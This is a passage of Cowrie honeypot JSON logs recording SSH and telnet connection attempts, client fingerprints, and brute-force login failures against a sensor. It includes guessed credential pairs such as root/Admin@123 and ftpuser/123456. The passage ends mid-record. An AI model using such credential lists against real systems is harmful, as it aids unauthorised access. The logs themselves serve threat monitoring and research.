{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:38.476110Z","src_ip":"103.24.63.85","session":"bbd6fecf2e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:39.266674Z","src_ip":"103.24.63.85","session":"bbd6fecf2e22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:40.462972Z","src_ip":"103.24.63.85","session":"bbd6fecf2e22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34200,"dst_ip":"10.17.0.5","dst_port":23,"session":"c32e9361af93","protocol":"telnet","message":"New connection: 192.119.13.58:34200 (10.17.0.5:23) [session: c32e9361af93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:49.656803Z"}
{"eventid":"cowrie.session.closed","duration":36.34191703796387,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:58.074758Z","src_ip":"192.119.13.58","session":"707960419cbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44114,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b72da7953ea","protocol":"telnet","message":"New connection: 192.119.13.58:44114 (10.17.0.5:23) [session: 9b72da7953ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:59.335567Z"}
{"eventid":"cowrie.session.closed","duration":35.90935444831848,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:02.105813Z","src_ip":"192.119.13.58","session":"443f1ad43983","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":49235,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac850a6c0127","protocol":"ssh","message":"New connection: 103.24.63.85:49235 (159.203.135.109:22) [session: ac850a6c0127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:09.177521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:09.182490Z","src_ip":"103.24.63.85","session":"ac850a6c0127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:09.387481Z","src_ip":"103.24.63.85","session":"ac850a6c0127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55738,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eb871fdafe6","protocol":"telnet","message":"New connection: 192.119.13.58:55738 (10.17.0.5:23) [session: 7eb871fdafe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:09.512176Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:10.004053Z","src_ip":"103.24.63.85","session":"ac850a6c0127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:11.198665Z","src_ip":"103.24.63.85","session":"ac850a6c0127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58864,"dst_ip":"10.17.0.5","dst_port":23,"session":"2574773f645c","protocol":"telnet","message":"New connection: 192.119.13.58:58864 (10.17.0.5:23) [session: 2574773f645c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:24.398159Z"}
{"eventid":"cowrie.session.closed","duration":38.51066255569458,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:28.167351Z","src_ip":"192.119.13.58","session":"c32e9361af93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51172,"dst_ip":"10.17.0.5","dst_port":22,"session":"34d34d69693d","protocol":"ssh","message":"New connection: 152.42.212.128:51172 (10.17.0.5:22) [session: 34d34d69693d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:30.514112Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:30.519599Z","src_ip":"152.42.212.128","session":"34d34d69693d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:30.524658Z","src_ip":"152.42.212.128","session":"34d34d69693d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.95937466621399,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:38.294861Z","src_ip":"192.119.13.58","session":"9b72da7953ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":58340,"dst_ip":"159.203.135.109","dst_port":22,"session":"9493681d10a7","protocol":"ssh","message":"New connection: 103.24.63.85:58340 (159.203.135.109:22) [session: 9493681d10a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:38.927635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:38.932699Z","src_ip":"103.24.63.85","session":"9493681d10a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:39.137169Z","src_ip":"103.24.63.85","session":"9493681d10a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svnuser","password":"svnuser","message":"login attempt [svnuser/svnuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:39.747065Z","src_ip":"103.24.63.85","session":"9493681d10a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:40.952676Z","src_ip":"103.24.63.85","session":"9493681d10a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45790,"dst_ip":"10.17.0.5","dst_port":23,"session":"94e4ba9579b8","protocol":"telnet","message":"New connection: 192.119.13.58:45790 (10.17.0.5:23) [session: 94e4ba9579b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:42.500367Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47602,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdea651b93b3","protocol":"telnet","message":"New connection: 192.119.13.58:47602 (10.17.0.5:23) [session: bdea651b93b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:42.976011Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49518,"dst_ip":"10.17.0.5","dst_port":23,"session":"547044608db7","protocol":"telnet","message":"New connection: 192.119.13.58:49518 (10.17.0.5:23) [session: 547044608db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:43.460809Z"}
{"eventid":"cowrie.session.closed","duration":36.366066217422485,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:45.878102Z","src_ip":"192.119.13.58","session":"7eb871fdafe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59884,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb3c76d9153c","protocol":"telnet","message":"New connection: 192.119.13.58:59884 (10.17.0.5:23) [session: cb3c76d9153c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:46.120320Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":63314,"dst_ip":"159.203.135.109","dst_port":22,"session":"476682ae8232","protocol":"ssh","message":"New connection: 103.24.63.85:63314 (159.203.135.109:22) [session: 476682ae8232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:54.489312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:54.494016Z","src_ip":"103.24.63.85","session":"476682ae8232","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:54.692031Z","src_ip":"103.24.63.85","session":"476682ae8232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:55.285984Z","src_ip":"103.24.63.85","session":"476682ae8232","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:56.501588Z","src_ip":"103.24.63.85","session":"476682ae8232","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44496,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e04acfcd6c6","protocol":"telnet","message":"New connection: 192.119.13.58:44496 (10.17.0.5:23) [session: 7e04acfcd6c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:56.629020Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":52454,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd1ab4bc326e","protocol":"ssh","message":"New connection: 94.159.110.201:52454 (10.17.0.5:22) [session: fd1ab4bc326e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:57.534430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:57.538483Z","src_ip":"94.159.110.201","session":"fd1ab4bc326e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:58.042246Z","src_ip":"94.159.110.201","session":"fd1ab4bc326e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:58.418246Z","src_ip":"94.159.110.201","session":"fd1ab4bc326e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:52:59.546911Z","src_ip":"94.159.110.201","session":"fd1ab4bc326e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.94741773605347,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:00.345442Z","src_ip":"192.119.13.58","session":"2574773f645c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":55743,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e063a06b896","protocol":"ssh","message":"New connection: 14.224.227.189:55743 (159.203.135.109:22) [session: 4e063a06b896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:04.460620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:04.465053Z","src_ip":"14.224.227.189","session":"4e063a06b896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:04.710377Z","src_ip":"14.224.227.189","session":"4e063a06b896","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2024","message":"login attempt [root/root2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:05.722272Z","src_ip":"14.224.227.189","session":"4e063a06b896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:06.967895Z","src_ip":"14.224.227.189","session":"4e063a06b896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35274,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e475668cc92","protocol":"telnet","message":"New connection: 192.119.13.58:35274 (10.17.0.5:23) [session: 4e475668cc92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:08.967609Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":48942,"dst_ip":"159.203.135.109","dst_port":23,"session":"e31b5f991840","protocol":"telnet","message":"New connection: 186.195.16.41:48942 (159.203.135.109:23) [session: e31b5f991840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:10.339514Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":939,"dst_ip":"159.203.135.109","dst_port":22,"session":"436282f3097b","protocol":"ssh","message":"New connection: 103.24.63.85:939 (159.203.135.109:22) [session: 436282f3097b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:10.802701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:53:10.992217Z","src_ip":"103.24.63.85","session":"436282f3097b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-